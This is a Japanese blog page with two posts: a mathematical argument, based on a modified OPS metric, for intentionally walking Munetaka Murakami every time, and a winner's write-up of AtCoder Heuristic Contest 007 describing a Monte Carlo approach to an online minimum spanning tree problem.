簡単のため打撃結果として安打（二塁打・三塁打・本塁打を含む）・四球・凡退のみを考えることとします。さらに、打率、長打率、四球率をそれぞれ $\alpha$ 、 $\beta$ 、 $\gamma$ とおきます。このとき、出塁率は $\gamma+(1-\gamma)\alpha$ となるので、OPSは以下の式で定義されます。

$\displaystyle{ \text{OPS}=\text{OPS}(\alpha,\beta,\gamma)=\beta+\gamma+(1-\gamma)\alpha \tag{*} }$

OPSの問題点

上の定義式（＊）はOPSの本来の定義とは少し異なるところがあります。本来、四球率がちょうど1となるとき、つまり、打数が0になるときには長打率が定義できないのでOPSも定義できないはずです。（＊）の定義式は $0 \leq \gamma \lt 1$ の範囲では通常のOPSを表しており、 $\gamma=1$ では $\gamma \to 1-0$ としたときの極限の値をOPSの定義として採用していることになります。

これは一見自然な拡張ですが、 $\text{OPS}(\alpha,\beta,\gamma=1)=1+\beta$ となっており、全打席敬遠されたときのOPSが敬遠されなかった場合に期待できる長打率に依存しておりやや不自然です。また、

$\displaystyle{ \frac{\partial}{\partial \gamma}\text{OPS}(\alpha,\beta,\gamma)=1-\alpha }$

となっているので、打率がちょうど1のとき以外は全打席敬遠するべきではないという結論になり面白くもありません。

いずれにせよ、村上のような尋常ではない強打者に対して、全打席敬遠という非常識な戦略を考える際にOPSの定義をそのまま用いるのはよくなさそうです。

modified OPS

OPSの問題点は打席数に占める打数の割合（ $1-\gamma$ ）が小さくなったときに相変わらず長打率の影響を大きく受けることにあります。これを改善するためにパラメータ $m ( 0 \lt m \lt 1)$ を導入し、modified OPSを以下のように定義します。

$\displaystyle{ m\text{-OPS}(\alpha,\beta,\gamma)=(1-\gamma)^m\beta+\gamma+(1-\gamma)\alpha }$

日本語で書くと次のようになります。

$\displaystyle{ m\text{-OPS}=\left(\frac{\text{打数}}{\text{打席数}}\right)^m \times \text{長打率} + \text{出塁率} }$

$0 \lt m \lt 1$ という範囲は若干恣意的ですが、評価関数の満たすべき公理を適当に定めてあげれば正当化できるはずです。また、modified OPSと通常のOPSの間には以下の関係があります。

$\displaystyle{ \gamma \ne 1 \Rightarrow \text{OPS}(\alpha,\beta,\gamma)=\lim _{m \to +0} m\text{-OPS}(\alpha,\beta,\gamma) }$

解くべき問題とその答え

問題設定は次のように書けます。

守備側は四球率を（0以上1以下の範囲で）好きに選ぶことができる。この選択が打率・長打率に影響を与えないとき、 $m$ -OPSを最小にするためには四球率をどのように選べば良いか？

解答は次のようになります。 $m$ -OPSの $\gamma$ による2階微分は（ $0 \leq \gamma \lt 1$ の範囲で）

$\displaystyle{ \frac{\partial^2}{\partial \gamma ^2}m\text{-OPS}(\alpha,\beta,\gamma)=m(m-1)(1-\gamma)^{(m-2)}\beta \lt 0 }$

となるので、 $m$ -OPSは $\gamma$ について上に凸な関数となっています。（ $m$ を固定した場合には $\gamma=1$ で連続であることに注意。）求めたいのは最小値だったので、範囲の両端を比較して小さい方を採用すれば良いです。 $\gamma=0,1$ のときの $m$ -OPSを計算すると

$\displaystyle{ m\text{-OPS}(\alpha,\beta,0) =\beta+\alpha,\quad m\text{-OPS}(\alpha,\beta,1)=1 }$

となるので、 $\gamma=1$ つまり全打席敬遠のときに $m$ -OPSが最小となる条件は $\beta+\alpha \geq 1$ です。

結論：村上宗隆を全打席敬遠すべきか

以上の議論より、全打席敬遠という戦略を採用する条件は「打率と長打率の和が1以上」となります。村上が5打席連続本塁打（の4,5本目）を放った中日戦の前の成績を確認すると

　打率：.316

長打率：.699

となるので、その和は1.015となり、わずかながら1を上回ります。したがって、「村上宗隆は全打席敬遠すべき」という結論になります。

おまけ：過去の打者について

昨年のセ・パ両リーグの「打率＋長打率」上位３人は以下の通りで、1.000を超えている打者はいません。

セ・リーグ：鈴木誠也（0.956）牧秀悟（0.848）村上宗隆（0.844）

パ・リーグ：吉田正尚（0.902）杉本裕太郎（0.853）柳田悠岐（0.841）

過去には王貞治やバレンティンなどが1.000を超えてシーズンを終了しているようです。すべてのデータは確認できていませんが、1973年に王貞治が記録した1.110（打率 .355 長打率 .755）が歴代最高なのではないかと思います。

@noimi_kyoproさんから指摘してもらいましたが、1985年には落合博満が0.367+0.763=1.130を、1986年にはバースが0.389+0.777=1.166を記録しているそうです。

多分落合の 1985 の打率 .367 長打率 .763 の和 1.130 が最大な気がします(？)
— のいみ (@noimi_kyopro) 2022年8月2日

バースの 1986 の .389 + .777 = 1.166 の方が高かったです…
— のいみ (@noimi_kyopro) 2022年8月2日

2022-02-12

THIRD プログラミングコンテスト 2021 （AtCoder Heuristic Contest 007）参加記

THIRD プログラミングコンテスト 2021 （AtCoder Heuristic Contest 007）に参加して、優勝しました。

問題

A - Online MST

解法

辺が与えられるたび、今の辺を使わない場合に代わりに使うことになる辺の長さの期待値をモンテカルロ法で求めます。

具体的には、今の辺は使わないと仮定し、まだ長さのわからない各辺の長さを $d _ i \leq l _ i \leq 3d _ i$ の範囲で一様にランダムに決め、クラスカル法によって最小全域木を求めることを考えます。今の辺の両端点が初めて連結になるときの、追加した辺の長さの平均値を求めます。

代わりに使うことになる辺の長さの期待値が今の辺の長さの0.95倍以上となるときに今の辺を採用し、そうでない場合は採用しません。

コード：Submission #27880973 - THIRD PROGRAMMING CONTEST 2021 （AtCoder Heuristic Contest 007）

解説（なぜ0.95倍するのか）

辺 $i$ を採用するか否かでスコアに影響するのは、 $u _ i$ と $v _ i$ を結ぶパス上の最長の辺の長さの分だと仮定します。辺 $i$ を採用した場合のこの値は $l _ i$ ですが、辺 $i$ を採用しない場合のこの値は厳密には計算できません。（その後の解答プログラムの挙動に依存するため。）その代わりにすべての辺の長さが分かっているとして最小全域木を求めてその際の値を使っていますが、これは実際に達成できる値よりも小さくなっているはずなので、前者を0.95倍して調整します。（0.95という値はいろいろ試して決めるほかないです。）

細かい工夫

辺の長さは高々 $2400 \sqrt {2}$ で抑えられ、実際にはグラフの作り方からもっと小さくなるので、クラスカル法で辺をソートするする際にはバケットソートすると速くて試行回数が増やせます。

延長戦

モンテカルロ法をする際に範囲を少し小さくとるとスコアが改善するという話がありました。

参照：

#AHC007
14,239,593,099(3位!!)
まだ使用を確定させていない辺の長さを乱数で変化させて、
長さが判明した辺を使うかをx回やって多数決で決める。
xは、i(<M/2)ターン目なら361、そうでないなら701。
乱数で変化させる際、rand(1.13d,2.87d)にした
(これが1と3の場合、14.18Gになる)
— bin (@5bin101) 2021年12月12日

試してみるとこの解法でもスコアが良くなりました。

（14241733941->14243380547）

コード：Submission #27894297 - THIRD PROGRAMMING CONTEST 2021 （AtCoder Heuristic Contest 007）

正確なことはわかりませんが、モンテカルロ法をして平均値を求める際には多少分布が歪んでも収束が速い（つまり分散が小さい）方が良いということだと思います。

自分語り

こういった記事を書くのは初めてなので簡単に自己紹介をしておきます。

中高生のときは情報オリンピックや数学オリンピックに参加していました。JMO、JOIで優勝したこととIMOで銅メダル、IOIで金メダルを獲得したことがあります。

大学に入ってからも競技プログラミングを続けていて、普段はアルゴリズムコンテストに参加しています。ICPCにもUT a.k.a. Isのメンバーとして参加しています。

ヒューリスティックコンテストには2年ちょっと前くらいから参加し始め、2020年5月にあったAsprovaコンテストあたりから熱心に参加するようになりました。

2021年にAHCが始まったときにヒューリスティックコンテストでそれなりに上達することを2021年の目標の一つにしていたので、2021年最後のAHCで優勝できて良かったです。